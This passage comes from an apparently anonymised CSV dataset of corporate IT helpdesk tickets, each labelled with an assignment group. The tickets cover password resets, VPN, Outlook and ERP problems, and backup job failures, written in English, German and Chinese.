grüßen_x000D_ +_x000D_ +gasbfqvp fmvqgjih_x000D_ +designer, product engineering – wear solutions_x000D_ +company shared services gmbh_x000D_ +_x000D_ +tel.: +49 (0) 9279 - 80 - 121_x000D_ +fax +49 (0) 9279 - 80 – 220_x000D_ +mobil +49 (0) 151 - 57634082_x000D_ +_x000D_ +e- mail adresse: gasbfqvp.fmvqgjih@gmail.com_x000D_ +_x000D_ +www.company.com<_x000D_ +_x000D_ +eckersdorfer straße 10_x000D_ +95490 germany/ bayern/ germany_x000D_ +_x000D_ +geschäftsführer/managing directors: phvkowml azbtkqwx, naruedlk mpvhakdq_x000D_ +_x000D_ +sitz/registered office: fürth/bay. – registergerirtcht/listed in the court register: fürth/bay. hra 7481_x000D_ +persönlich haftende gesellschafterin/general partner: company deutschland gmbh_x000D_ +sitz/registered office: germany. – registergerirtcht/listed in the court register: bad homburg v.d.h. hrb 7492_x000D_ +_x000D_ +",GRP_23 +"i can't do purchase requisition at purchasing - see attachment i can't do purchase requisition at purchasing - see attachment_x000D_ +account 81377661 requires a assignment to a co object ! i can't select a byer",GRP_29 +"job Job_1148 failed in job_scheduler at: 09/13/2016 01:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1148 failed in job_scheduler at: 09/13/2016 01:15:00",GRP_9 +computer can't started computer can't started ,GRP_31 +"need to install nvyjtmca xjhpznds applications need to install nvyjtmca xjhpznds applications_x000D_ +1) job_scheduler_x000D_ +2) backup_tool_x000D_ +3) vmware_x000D_ +4) vnc viewer_x000D_ +_x000D_ +while trying to install these applications it is asking for administration access.",GRP_19 +"no new fax-in on ricoh fax folder at company malaysia - public (\\amssm003) (q:) we cannot see new fax-in to ""public (\\amssm003) (q:) > ricoh fax folder"" since end of august 2016. could you please check and fix if there have been any problems?_x000D_ +",GRP_12 +outloot 老是提示输入密码，更改密码后无效，请转小贺。 outloot 老是提示输入密码，更改密码后无效，请转小贺。,GRP_30 +"job bkwin_search_server_qa_daily failed in job_scheduler at: 09/12/2016 23:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_search_server_qa_daily failed in job_scheduler at: 09/12/2016 23:54:00",GRP_8 +extract file for the request 2626619 extract the file for the request 2626619 using rscrm bapi,GRP_9 +please help qskwgjym bsqdaxhf delete paramdntyeters and payment run in t-code f110 please help qskwgjym bsqdaxhf delete paramdntyeters and payment run in t-code f110,GRP_10 +"job SID_37stat failed in job_scheduler at: 09/12/2016 22:54:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37stat failed in job_scheduler at: 09/12/2016 22:54:00",GRP_8 +"gr error _x000D_ +_x000D_ +received from: gkwcxzum.answkqpe@gmail.com_x000D_ +_x000D_ +dear all_x000D_ +_x000D_ +would you please help us out ? we can't complete gr for below._x000D_ +_x000D_ +mm 5119707 qty 108_x000D_ +po 5019190021_x000D_ +_x000D_ +[설명: cid:image001.png@01d20dac.8cd597f0]_x000D_ +_x000D_ +",GRP_29 +switch down - company-ap-ind-kirty-coating-2960s-access-sw01 located at india kirty is down since 08:18 pm et on 09/12. switch down - company-ap-ind-kirty-coating-2960s-access-sw01 located at india kirty is down since 08:18 pm et on 09/12.,GRP_8 +"job bkwin_tax_interface_dev_daily failed in job_scheduler at: 09/12/2016 22:34:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 8 _x000D_ + failed disk agents ........... 0 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 8 _x000D_ + =========================================== _x000D_ + completed media agents ....... 1 _x000D_ + failed media agents .......... 0 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 1 _x000D_ + =========================================== _x000D_ + mbytes total ................. 92176 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 0 _x000D_ +_x000D_ +job bkwin_tax_interface_dev_daily failed in job_scheduler at: 09/12/2016 22:34:00",GRP_8 +"could you resolve item category error during zfd ordering? _x000D_ +_x000D_ +received from: fbvpcytz.nokypgvx@gmail.com_x000D_ +_x000D_ +hello it team,_x000D_ +_x000D_ +we are facing item category issue for zfd(free of charge) order so#35900902…now we cannot select item category zkln…_x000D_ +could you please check and resolve the issue?_x000D_ +_x000D_ +order detail:_x000D_ +sales org : 1306_x000D_ +so#35900902_x000D_ +order type : zfd_x000D_ +mm#4855028_x000D_ +qty : 10pcs_x000D_ +delivery plant : plant_317_x000D_ +usage : product lost intrans_x000D_ +_x000D_ +we cannot select item category ""zkln"" without error. hence, erp cannot identify this open order. we cannot see this open order at md04 screen._x000D_ +[cid:image003.jpg@01d20db0.cf5931a0]_x000D_ +_x000D_ +[cid:image004.jpg@01d20db0.cf5931a0]_x000D_ +_x000D_ +[cid:image005.png@01d20db0.6fa42800]_x000D_ +_x000D_ +",GRP_13 +"job bk_hana_SID_62_erp_dly_dp failed in job_scheduler at: 09/12/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +[major] from: bma@HostName_1302.hq.company.com ""lib6_drive3"" time: 9/12/2016 10:01:05 pm_x000D_ +[90:51] /dev/rmt39.1_x000D_ + cannot write to device ([5] i/o error)_x000D_ +_x000D_ +[critical] from: vbda@HostName_184.hq.company.com ""/nfsbackup - hana SID_62 - differential backup"" time: 9/12/2016 10:01:41 pm_x000D_ + received abort request from sm => aborting._x000D_ +_x000D_ +session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 1 _x000D_ + failed disk agents ........... 1 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 2 _x000D_ + =========================================== _x000D_ + completed media agents ....... 0 _x000D_ + failed media agents .......... 1 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 1 _x000D_ + =========================================== _x000D_ + mbytes total ................. 553296 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 2 _x000D_ +_x000D_ +_x000D_ +job bk_hana_SID_62_erp_dly_dp failed in job_scheduler at: 09/12/2016 22:02:00",GRP_5 +"job SID_46filesys failed in job_scheduler at: 09/12/2016 22:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +[major] from: bma@HostName_1302.hq.company.com ""lib6_drive2"" time: 9/12/2016 10:01:08 pm_x000D_ +[90:51] /dev/rmt51.1_x000D_ + cannot write to device ([5] i/o error)_x000D_ +_x000D_ +[critical] from: vbda@HostName_229.hq.company.com ""HostName_229-bk.hq.company.com [/usr/erp]"" time: 9/12/2016 10:01:44 pm_x000D_ + received abort request from sm => aborting._x000D_ +_x000D_ +session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 22 _x000D_ + failed disk agents ........... 2 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 24 _x000D_ + =========================================== _x000D_ + completed media agents ....... 0 _x000D_ + failed media agents .......... 1 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 1 _x000D_ + =========================================== _x000D_ + mbytes total ................. 44876 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 4 _x000D_ +_x000D_ +job SID_46filesys failed in job_scheduler at: 09/12/2016 22:03:00",GRP_5 +"job SID_38filesys failed in job_scheduler at: 09/12/2016 22:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +_x000D_ +session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 24 _x000D_ + failed disk agents ........... 2 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 26 _x000D_ + =========================================== _x000D_ + completed media agents ....... 0 _x000D_ + failed media agents .......... 1 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 1 _x000D_ + =========================================== _x000D_ + mbytes total ................. 73883 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 4 _x000D_ +_x000D_ +job SID_38filesys failed in job_scheduler at: 09/12/2016 22:02:00",GRP_5 +"lnssm005: shop_floor_app application is down on 9/12/2016 at 1:07 pm the shop_floor_app is reporting a : unreachable status on, lnssm005. please investigate",GRP_1 +is SID_34 down? i keep receiving a balancing error. is SID_34 down? i keep receiving a balancing error.,GRP_0 +windows password reset windows password reset,GRP_0 +"vpn _x000D_ +_x000D_ +received from: udetjzmn.ayueswcm@gmail.com_x000D_ +_x000D_ +good evening_x000D_ +_x000D_ +i have lost my vpn login icon. can this be reinstated?_x000D_ +_x000D_ +",GRP_0 +"skype and outlook not launching. skype and outlook not launching. +-connected to the user system using teamviewer. +had the user connectt to the company vpn. +-deleted rsa files and help the user login to the skype. +-tried to reconfigure the mscrm ,no go. +-tried to repair the ms office. +reinstalled the ms office. +-caller confirmed that he is now able to see the emails on outlook. +-issue resolved. +-computer : lmsl9516645 +contact:",GRP_0 +HostName_1193 - status f:\ is now 86% utilized. HostName_1193 - status f:\ label:dat1-HostName_1193 36e52bcd is now 86% utilized.,GRP_12 +HostName_894 - status c:\ is now 88% utilized. HostName_894 - status c:\ label:sys-HostName_894 28385a7b is now 88% utilized.,GRP_8 +static on call static on call ,GRP_0 +"changes made for ticket inc1545346 have caused issues with delivery printing at plant_268. changes made for ticket inc1545346 have caused issues with delivery printing at plant_268. plant_151 reconditioning facility is now located at the plant_268 facility in illinois, usa. there were changes made to pick request printing for this group of employees but it has affected the entire facility. the plant_268 group used to print delivery notes at the users paramdntyeter. now all delivery notes are printing at an office printer that is not near where they are working. this is not productive. please reach out to omiwzbue auvolfhp and myself to help resolve this as soon as possible. ",GRP_18 +"invalid incompletion error on so#24903890 so#35014901 has ""configuration"" incompletion for items 10-40 which is invalid. these items are complete and error should not be there",GRP_13 +"not properly acess - excel, word,skype,outlook - message > products disabled to continue to use, activate now if i try to use excel, word, skype,outlook have a message products disabled to continue to use, activate now . if i tried to do using e-mail account , i have the message : account jgnxyahz.cixzwuyf@gmail.com is not associated with the product . to active the installation , please enter the account associated with the product ",GRP_0 +"downloading archiving_tool software for erp SID_34 from: lkwspqce knxaipyj [mailto:lkwspqce.knxaipyj@gmail.com] _x000D_ +sent: monday, september 12, 2016 3:30 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: amar - support in installing archiving_tool to allowe me view vendor inwarehouse_tools_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +can i please have support in downloading archiving_tool software for erp SID_34 to allow me access and view vendor inwarehouse_tools._x000D_ +_x000D_ +_x000D_ +",GRP_0 +hana report will not refresh - analysis buttons all deactivated - high priority see attached workbook required to be refreshed for msc requirement.,GRP_9 +"please reset my erp pasword, battel to log in-username bragtydlc, thanks + +received from: gvderpbx.udrzjxkm@gmail.com + +gvderpbx udrzjxkm +junior application sales engineer +gvderpbx.udrzjxkm@gmail.com +",GRP_0 +"rma receiving issue with items under 1 lb. rma 7112611859 has two items 21.5 and 4.76 name:debhyue fhyuiinch +language: +browser:microsoft internet explorer +email:yoltmegh.bmadvixs@gmail.com +customer number: +telephone: +summary:rma receiving issue with items under 1 lb. rma 7112611859 has two items 21.5 and 4.76 and when we try to receive items in under mm 7228874. erp is doing a round up value to 5 lbs and 22 lbs. is there a way to receive exact weight in? +",GRP_18 +please help brianna get working again on business manager please help brianna get working again on business manager,GRP_7 +tnghnha ajuiegrson is in need of having access to the met lab computer to be able to perform her job. tnghnha ajuiegrson is in need of having access to the met lab computer to be able to perform her job.,GRP_3 +"enterprise search - no results the following objects/search connectors in enterprise search are not returning any results:_x000D_ +material_x000D_ +material bom_x000D_ +specification_x000D_ +_x000D_ +",GRP_14 +accrual values are not matching in the compensation system there is a bug in the performance sproc that calculates payout values. a small modification needs to occur in order to calculate payout values on a monthly basis. this was missed during uacyltoe hxgayczeing due to uacyltoe hxgayczeing taking place in the first period of a financial_toolcal year. this issue only arises in subsequent periods.,GRP_25 +password reset password reset ,GRP_0 +"not able to create delivery for sto 5019168696/4908100506 not able to create delivery for sto 5019168696/4908100506 - _x000D_ +could you please verify apo ? _x000D_ +please assing to supply_chain group _x000D_ +",GRP_29 +"skype sound not working. skype sound not working._x000D_ +-connected to the user system using teamviewer._x000D_ +-installed the sound drivers._x000D_ +-restarted the pc._x000D_ +-gave a uacyltoe hxgaycze call, user able to hear sound clearly._x000D_ +-issue resolved.",GRP_0 +"job Job_1343 failed in job_scheduler at: 09/12/2016 13:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1343 failed in job_scheduler at: 09/12/2016 13:22:00",GRP_9 +unable to connect to vpn unable to connect to vpn,GRP_0 +"tax not calculated from: raghyvhdra najuty _x000D_ +sent: monday, september 12, 2016 6:33 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +cc: srinfhyath araghtyu; parthyrubhji erathyur_x000D_ +subject: trurthyuft - re: tax not calculated_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please note material has reached along with excise inwarehouse_tool without vat w.r.t to inwarehouse_tools _x000D_ +_x000D_ +1) 0512673537 dt.31.08.2016_x000D_ +2) 0512669241 dt 22.08.2016_x000D_ +3) 0512673538 dt 22.08.2016_x000D_ +",GRP_13 +need to configure emails on the company iphone device need to configure emails on the company iphone device,GRP_0 +erp queries erp queries,GRP_0 +unlocked erp SID_34 unlocked erp SID_34 ,GRP_0 +need full control access to \\HostName_768\teams\consigned inventory need full control access to \\HostName_768\teams\consigned inventory,GRP_34 +"unable to end out an email emailed some steps, awaiting uacyltoe hxgayczeing. + +from: nwfodmhc exurcwkm +sent: monday, september 12, 2016 8:22 pm +to: shhkioaprhkuoash ms +subject: fw: fw: fw: engineering_drawing_tool automation + +hi shiv, + +please see if removing the names from your outlook cache fixes the issue. +to do this please type the name of the recipient, you will find a 'x' next to the name. click on it to remove from the cache. open a new email and type out the complete email address and uacyltoe hxgaycze if you are able to send the email. + + + +",GRP_0 +"i am having issues delivering parts to stock in another plant. the rqfhiong zkwfqagb has deliver plant of plant_36 i am having issues delivering parts to stock in another plant. the rqfhiong zkwfqagb has deliver plant of plant_36 but it will not deliver there. + +ext.2296 +summary:i am having issues delivering parts to stock in another plant. the rqfhiong zkwfqagb has deliver plant of plant_36 but it will not deliver there.",GRP_45 +"could not hear user from other side. could not hear user from other side._x000D_ +phone issue.",GRP_0 +"users are unable to connect to the network drives in HostName_1274 users are unable to connect to the network drives in HostName_1274, the server is also not reachable.",GRP_12 +"mobile device activation from: puxsvfwr cwkjruni _x000D_ +sent: monday, september 12, 2016 12:23 pm_x000D_ +to: nwfodmhc exurcwkm _x000D_ +subject: sab: wg: die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administrator gewährt wird._x000D_ +importance: high_x000D_ +_x000D_ +_x000D_ +hi can you please activate my mobile devise to recieve emails on my new business iphone._x000D_ +_x000D_ +",GRP_0 +"job Job_2063c failed in job_scheduler at: 09/12/2016 10:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2063c failed in job_scheduler at: 09/12/2016 10:38:00",GRP_6 +unable to connect to vpn unable to connect to vpn,GRP_19 +mobile device activation mobile device activation ,GRP_0 +unable to connect wireless on the laptop unable to connect wireless on the laptop,GRP_0 +"urgent : with reference to ticket : inc1549876 uyjlodhq ymedkatw (lghuiezj3) has mapped the units m (departments), n (public) and s (teams) to HostName_614 incorrectly. + +helped her mapping network drive to correctly : inc1549876 +but after reboot computer is connecting back to kkbsm003 instead of HostName_622 + +she should have access m drive n drive and s drive with this server HostName_622 +pc name: ekxw8111221 + +please help update login script for user jésica lópez rufo. + +also, user requested to process this request as soon as possible as her daily work is getting hampered and its very urgent for her. +",GRP_39 +vpn access pc name : aidl8912285 user id : thhyuokhkp vpn access pc name : aidl8912285 ,GRP_0 +out of office for at least next 3 months. need password reset for the mails. out of office for at least next 3 months. need password reset for the mails.,GRP_0 +outlook not loading outlook not loading,GRP_0 +no response from other side : german call no response from other side : german call ,GRP_0 +removing another mail box from outlook removing another mail box from outlook,GRP_0 +unable to login to skype unable to login to skype,GRP_0 +"erp help _x000D_ +_x000D_ +received from: anpocezt.qturbxsg@gmail.com_x000D_ +_x000D_ +hello_x000D_ +when i try to get on to erp search and explorer analytics a blank screen comes up (below) are we having problems_x000D_ +",GRP_9 +need to contact keyhtyvin toriaytun need to contact keyhtyvin toriaytun,GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +"erp customer ref not on delivery hoi,_x000D_ +_x000D_ +view attached 2 examples where the customer ref as entered in erp is not printing on delivery's for 1207 sales org. also printscreen from order wikfnmlwds wmtiruac attached._x000D_ +_x000D_ +this might also be the case in other sales org's. please also check 1202 , 1206 , 1225, 1227, 1241, 1278_x000D_ +_x000D_ +",GRP_13 +please set field services collaboration_platform page to include collaboration_platform meeting section as you had explained please set field services collaboration_platform page to include collaboration_platform meeting section as you had explained,GRP_16 +"password manager error , failed to log-inn. now i'm blocked , please reset my phone : ",GRP_0 +"the printout of shipament lable is not working name:frafhyuo ajuyanni +language: +browser:microsoft internet explorer +email:dmqjhrso.gzbunwie@gmail.com +customer number: +telephone: +summary:hello, i'm frafhyuo ajuyanni from company italy. +when i try to create a delivery (pweaver/ship) the printout of shipament lable is not working. for the italian shipmet works.. for others countries, is not working. can you please give me support?",GRP_0 +no response from other side. no response from other side.,GRP_0 +follow up call : inplant_859346 follow up call : inplant_859346,GRP_0 +"wifi in r&d conference room _x000D_ +_x000D_ +received from: gdkiehbr.kdithjsr@gmail.com_x000D_ +_x000D_ +please investigate and repair the cause of the weak wifi signal in the r&d area. we used to have full bars and for some reason it is barley 2 bars._x000D_ +",GRP_4 +dual monitor issue dual monitor issue,GRP_0 +"need interaction password reset need interaction password reset + +phone: ",GRP_7 +password_management_tool password manager : password reset help and query password_management_tool password manager : password reset help and query,GRP_0 +bei drucker em98 papiertransport defekt beim transport des druckerpapiers treten in regelmäßigen abständen einkerbungen auf. papiereinzug defekt? ,GRP_42 +"unable to log in to the mii system unable to log in to the mii system _x000D_ +_x000D_ +user authentication failed",GRP_0 +"i.t. issue + +received from: zwirhcol.narzlmfw@gmail.com + +usa has no functioning ups systems. all switches/servers are plugged into the wall. please ship two aerp. + +j. shrugott tyhuellis +usa facilities mgr. +zwirhcol.narzlmfw@gmail.com +",GRP_3 +reset passwords for robhyertyj f duca using password_management_tool password reset. the,GRP_17 +outlook not launching outlook not launching,GRP_0 +"missing data in bex productmanagement - urgent !!!!!!!!!!!!!!!!!!!!!! _x000D_ +_x000D_ +received from: uwofavej.hxyatnjc@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +data are dierppearing in bex from productmanagement master._x000D_ +_x000D_ +we found the reason: anybody has changed the key figure name from ""sales revenue"" to ""total sales revenue""._x000D_ +in addition, there is a new key figure: net value_x000D_ +_x000D_ +nobody is informed about the change and the different (?) content of the two key figures._x000D_ +_x000D_ +you immediately need to change back, all the reports won´t work now_x000D_ +_x000D_ +_x000D_ +best ",GRP_9 +windows password reset windows password reset,GRP_0 +"outlook issue. _x000D_ +_x000D_ +received from: iqmhjlwr.jqmxaybi@gmail.com_x000D_ +_x000D_ +hello guys,_x000D_ +_x000D_ +please can you help, i was advised to change passwords on password_management_tool manager and since i have done this i have had a delay on my e-mails as per the below screenshot._x000D_ +_x000D_ +[cid:image001.jpg@01d20cff.209d01c0]_x000D_ +_x000D_ +",GRP_0 +active directory locked. active directory locked.,GRP_0 +mobile device activated. mobile device activated.,GRP_0 +"in correct tax rate in inwarehouse_tools _x000D_ +_x000D_ +received from: ikerxqwz.prkyuitl@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +after implementation of updation of tax rate through system , we have come across instances wherein the system is capturing different tax rate for local sales (within karnataka) other than one recommended ._x000D_ +_x000D_ +in this connection attaching herewith mail communication from team ._x000D_ +_x000D_ +request you to look into this aspect as it is resulting into non-compliance_x000D_ +_x000D_ +_x000D_ +",GRP_10 +"contractor locked out: please unlock vvlahstyurr in ad and erp SID_60 a student is working on a project with vinhytry, and has reported that her passwords are no longer working to access data. my assumption is that she got her passwords mixed up between ad and hana SID_60, and is locked out of one or both; please have a look at unlocking her account.",GRP_53 +need to log into skype for business cannot access skype for business with my login credentials.,GRP_0 +"erp crm - instatnt timeout user: fywphaxc.jacdqbks@gmail.com;_x000D_ +issue: user's session instantly kirtyled - timeout error as per attached screen._x000D_ +",GRP_15 +access to vpn added user to the f5 employee group. ryafbthn will uacyltoe hxgaycze and call in if he has any issues.,GRP_34 +"passwörter wothyehre _x000D_ +_x000D_ +received from: dgwrmsja.jzlpwuit@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +bitte für wothyehre die passwörter für windows und erp freimachen!_x000D_ +_x000D_ +danke_x000D_ +_x000D_ +mit freundlichen grüßen/best ",GRP_0 +"computer doesn't work computer starts, but keybankrd and mouse don't work. impossible login. cables and connections ok (keybankrd and mouse lights on).",GRP_62 +"bobj explorer info spaces load issue (email sent to basis and dac team) hi team basis, team dac,_x000D_ +_x000D_ +please investigate the bobj explorer services are up and running. it is showing blank screen at the moment._x000D_ +_x000D_ +i have re indexed all the information spaces. but it did not help._x000D_ +_x000D_ +please assist at an earliest._x000D_ +_x000D_ +i will create a ticket in few minutes and update here._x000D_ +_x000D_ +",GRP_14 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +account locked account locked,GRP_0 +"erp issue with batches _x000D_ +_x000D_ +received from: bswlorek.yhdrlgbs@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +erp does not create to's automatically because of the following error message:_x000D_ +[cid:image001.png@01d20cf1.36053bd0]_x000D_ +_x000D_ +",GRP_18 +"when entering the proven solution ps-16-939 under ""the page cannot be foun would you please delete the solution so that i can upload it again? ",GRP_25 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"bitte konten erzeugen _x000D_ +_x000D_ +received from: ughzilfm.cfibdamq@gmail.com_x000D_ +_x000D_ +hallo ,_x000D_ +_x000D_ +bitte k1 konten erzeugen ._x000D_ +_x000D_ +referenz user : twdyzsfr gjedmfvh_x000D_ +_x000D_ +auftraggeber : scedxqur pocxqtrl_x000D_ +_x000D_ +_x000D_ +",GRP_34 +hzptilsw wusdajqv : log on balancing error for SID_1 and SID_21 hzptilsw wusdajqv : log on balancing error for SID_1 and SID_21,GRP_0 +lhbsm005: disk free on f:\ is now 3 % which is below warning threshold of 15%. lhbsm005: disk free on f:\ is now 3 % which is below warning threshold of 15%. ,GRP_12 +"bitte die schreib / leseberechtigung für ordner m:staebefertigung einrichten. guten morgen,_x000D_ +_x000D_ +bitte die schreib / leseberechtigung für ordner m:staebefertigung einrichten._x000D_ +_x000D_ +danke_x000D_ +_x000D_ +_x000D_ +_x000D_ + _x000D_ +_x000D_ +freundliche grüße / kind ",GRP_24 +revert the change done for chg0032720 revert the change done for chg1143831 please find the attachment for the issue that users are facing.,GRP_41 +"search and explorer analytics issue search and explorer analytics issue is blank in bobj. can login to search and analytics from ess but no search list is available. + +phone: ",GRP_49 +"tess application doesn't run good morning, when i double click on the tess icon on my desktop, starts the initial loading page, but after few seconds the application close itself and the programdnty doesn't run. many ",GRP_66 +"bobj _x000D_ +_x000D_ +received from: ctzykflo.evzbhgru@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +can someone please check and fix the problem._x000D_ +_x000D_ +sales reps reported that the reports are not available in bobj._x000D_ +_x000D_ +i checked too and also get the error message._x000D_ +_x000D_ +[cid:image001.jpg@01d20ce6.35220981]_x000D_ +_x000D_ +",GRP_9 +"windows account locked good day._x000D_ +_x000D_ +please unlock users windows account.",GRP_0 +"local availability and pricing information missing on various ""obsolete"" products (see screenshot) local availability and pricing information missing on various ""obsolete"" products (see screenshot)",GRP_20 +unable to turn on the computer. unable to turn on the computer.,GRP_0 +"po display by vendor - not proper po display by vendor is showing only pending po's._x000D_ +if selection paramdntyeter is selected as we101 - it was showing only pending po;s_x000D_ +if selection paramdntyeter is kept as blank - it was showing complete po's done on that vendor.",GRP_29 +"private address fields are enabled on employee master crm ui disable private address fields, new & edit buttons on employee master crm ui",GRP_15 +HostName_1178 is not responding since at 1:30 am et on 09/12 HostName_1178 is not responding since at 1:30 am et on 09/12,GRP_12 +"please add new user to company ru and nm - nghyuakm please add new user to company ru and nm - nghyuakm +install phone and headset as well. + +",GRP_7 +aqzcisjy raflghneib : account disabled. aqzcisjy raflghneib : account disabled.,GRP_0 +"password reset collaboration_platform problem _x000D_ +_x000D_ +received from: sbgvrncj.idfhtoqv@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i changed my passwords this morning with password manager but i am having problems synching my collaboration_platform on collaboration_platform, it keeps asking me to enter the new password again and again._x000D_ +the rest, including office365 on both the workstation and the mobile are working ok with the new password. just collaboration_platform is having a problem._x000D_ +any suggestions?_x000D_ +_x000D_ +[cid:image001.png@01d20cde.40cc4e90]_x000D_ +many ",GRP_0 +"unable to take prints & scan with new laptop _x000D_ +_x000D_ +received from: dwujlnhs.ecxvrpyl@gmail.com_x000D_ +_x000D_ +dear sir_x000D_ +_x000D_ +i have received new laptop dell latitude e5470, with which i am unable to take printouts and scan from office printer._x000D_ +kindly help in resolving the issue._x000D_ +_x000D_ +best ",GRP_0 +"help reset erp SID_37 bw production account password --xighjacj. erp SID_37 bw production account password changed failed in password_management_tool system . erp bex can not login now ._x000D_ +user id : xighjacj_x000D_ +_x000D_ +received from: smktofel.etsoirbw@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please help on my issue below._x000D_ +[cid:image001.png@01d20d0a.f4495281]_x000D_ +_x000D_ +[cid:image002.png@01d20d0a.f4495281]_x000D_ +_x000D_ +",GRP_0 +"error druing password change. _x000D_ +_x000D_ +received from: fjnmxoya.iljgptas@gmail.com_x000D_ +_x000D_ +hi i got the below message during password change. kindly help._x000D_ +_x000D_ +[cid:2989156a-79bb-43c1-96e5-47e5ee747c69]_x000D_ +_x000D_ + with ",GRP_0 +"ooo - till 4 oct 2016 it problem - engineering tool offline version is not starting _x000D_ +_x000D_ +received from: mikhghytr.sperhake@company.com_x000D_ +_x000D_ +win7 64bit_x000D_ +dell m4700_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +"job Job_481 failed in job_scheduler at: 09/12/2016 03:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +9/12/2016 1:03:21 am :: error: vm 'HostName_1045' (ref: 'vm-232341') is 'disconnected' _x000D_ +_x000D_ +job Job_481 failed in job_scheduler at: 09/12/2016 03:46:00",GRP_5 +"der rechner von unseren schichtführern h.gabryltk, h.byczkowski, h.stankewitz ist defekt. hallo _x000D_ +_x000D_ +der rechner von unseren schichtführern h.gabryltk, h.byczkowski, h.stankewitz ist defekt._x000D_ +kannst du bitte mal vorbeikommen._x000D_ +",GRP_24 +rechner für messvorrichtung steli funktioniert nicht \zedlet rechner für messvorrichtung steli funktioniert nicht \zedlet,GRP_24 +probleme mit accespoint \konferenzraum f&e \niptbwdq csenjruz probleme mit accespoint \konferenzraum f&e \niptbwdq csenjruz,GRP_24 +probleme mit öffnen m:\wsb_exe \we_wu102 \pfjwinbg ljtzbdqg probleme mit öffnen m:\wsb_exe \we_wu102 \pfjwinbg ljtzbdqg,GRP_24 +account locked. account locked.,GRP_0 +"datenlogger opus20 thip q475024 kann keine verbindung herstellen datenlogger opus20 thip q475024, wird zur überwachung der raumtemperatur benötigt, findet nach der externen wartung keine netzwerkverbindung zum pc der pmü",GRP_33 +"remote vpn issue i cannot connect to remote vpn using either of the links below (_x000D_ +probably it has something to do with emea upgrade activity that took place on september 9._x000D_ +please fix the problem so that i can connect to vpn.",GRP_0 +"requirement of internet access for machine pc - eorjylzm vrkofesj at pu6 + +received from: dfiyvmec.wxioadpt@gmail.com + +machine details : ip address 172.16.0.100 +subnet mask : +physical address: 00-07-3256-14-2e-a8 +host name : mc350 + +service engg from the machine supplier from switzerland is with us for a training programdntyme. +we need the internet access in the machine for a week + +request your immediate support + +kuhgtyjvelu. u +manager – reliability engineering +dfiyvmec.wxioadpt@gmail.com + +",GRP_19 +"can not create inventory list forwarded request to the rqfhiong zkwfqagb dl, copying tomoe._x000D_ +_x000D_ +email:_x000D_ +from: zsqabokr xbtsaodr _x000D_ +sent: monday, september 12, 2016 3:30 pm_x000D_ +to: 'nwfodmhc exurcwkm'_x000D_ +subject: can not create inventory list_x000D_ +_x000D_ +help desk,_x000D_ +_x000D_ +about the quantity of mm no.6370759, we want to change from zero._x000D_ +_x000D_ +please find the attached document._x000D_ +we have problems._x000D_ +â‘  the inventory list cannot show by mb52._x000D_ +â‘¡ the inventory list cannot create by mi31._x000D_ +_x000D_ +_x000D_ +best ",GRP_18 +"转发: 以色列修磨/rma6001502596 + +received from: wktesmbp.lorjymef@gmail.com + +dear team， +we need to cancel sto#5019103390,pls. help to reverse its inwarehouse_tool markhtyed in red,thx! +[cid:image001.png@01d20d06.437cc160] + +b.rgds +judthtihty.zhuyhts +company hardpoint apac-wgq dc + + +",GRP_10 +"account for aqzcisjy raflghneib, vvdghtteij, is locked. please unlock. account for aqzcisjy raflghneib, vvdghtteij, is locked. please unlock.",GRP_0 +"password expires in 4 days dear all, my password runs out in 4 days, i am travelling and have no chance to come into the company network,please extend my current password until the 21st of september ",GRP_0 +unable to set skype meeting in outlook unable to set skype meeting in outlook ,GRP_0 +"job Job_1332 failed in job_scheduler at: 09/12/2016 02:16:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1332 failed in job_scheduler at: 09/12/2016 